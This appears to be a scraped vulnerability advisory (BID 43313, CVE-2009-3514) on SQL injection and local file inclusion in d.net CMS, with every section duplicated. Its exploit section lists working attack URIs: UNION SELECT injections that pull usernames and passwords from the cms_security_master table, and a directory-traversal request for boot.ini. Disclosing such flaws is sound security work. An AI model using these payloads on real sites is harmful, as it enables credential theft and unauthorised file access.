d.net CMS SQL Injection and Local File Include Vulnerabilities
BID:43313
Info
d.net CMS SQL Injection and Local File Include Vulnerabilities
| Bugtraq ID: | 43313 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-3514 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 30 2009 12:00AM |
| Updated: | Sep 30 2010 08:40PM |
| Credit: | SirGod |
| Vulnerable: |
Marcin Manek d.net CMS 0 |
| Not Vulnerable: | |
Discussion
d.net CMS SQL Injection and Local File Include Vulnerabilities
d.net CMS is prone to multiple SQL-injection vulnerabilities and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; by using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.
d.net CMS is prone to multiple SQL-injection vulnerabilities and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; by using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.
Exploit / POC
d.net CMS SQL Injection and Local File Include Vulnerabilities
Attackers can use a browser to exploit these issues.
The following exploit code and example URIs are available:
http://www.example.com/path/index.php?page=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,
6,7+from+cms_security_master+where+id=1--
http://www.example.com/path/dnet_admin/index.php?edit_id=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,
6,7,8,9+from+cms_security_master+where+id=1--&_p=1&type=news
http://www.example.com/path/dnet_admin/index.php?edit_id=1&_p=null+union+all+select+1,2,concat_ws(0x3a,username,password),4,
5,6,7+from+cms_security_master+where+id=1--&type=news
http://www.example.com/path/dnet_admin/index.php?edit_id=2&_p=2&type=../../../../../../boot.ini%00
Attackers can use a browser to exploit these issues.
The following exploit code and example URIs are available:
http://www.example.com/path/index.php?page=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,
6,7+from+cms_security_master+where+id=1--
http://www.example.com/path/dnet_admin/index.php?edit_id=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,
6,7,8,9+from+cms_security_master+where+id=1--&_p=1&type=news
http://www.example.com/path/dnet_admin/index.php?edit_id=1&_p=null+union+all+select+1,2,concat_ws(0x3a,username,password),4,
5,6,7+from+cms_security_master+where+id=1--&type=news
http://www.example.com/path/dnet_admin/index.php?edit_id=2&_p=2&type=../../../../../../boot.ini%00
Solution / Fix
d.net CMS SQL Injection and Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
d.net CMS SQL Injection and Local File Include Vulnerabilities
References:
References:
- d.net CMS - Download page (Marcin Manek)
- d.net CMS - Homepage (Marcin Manek)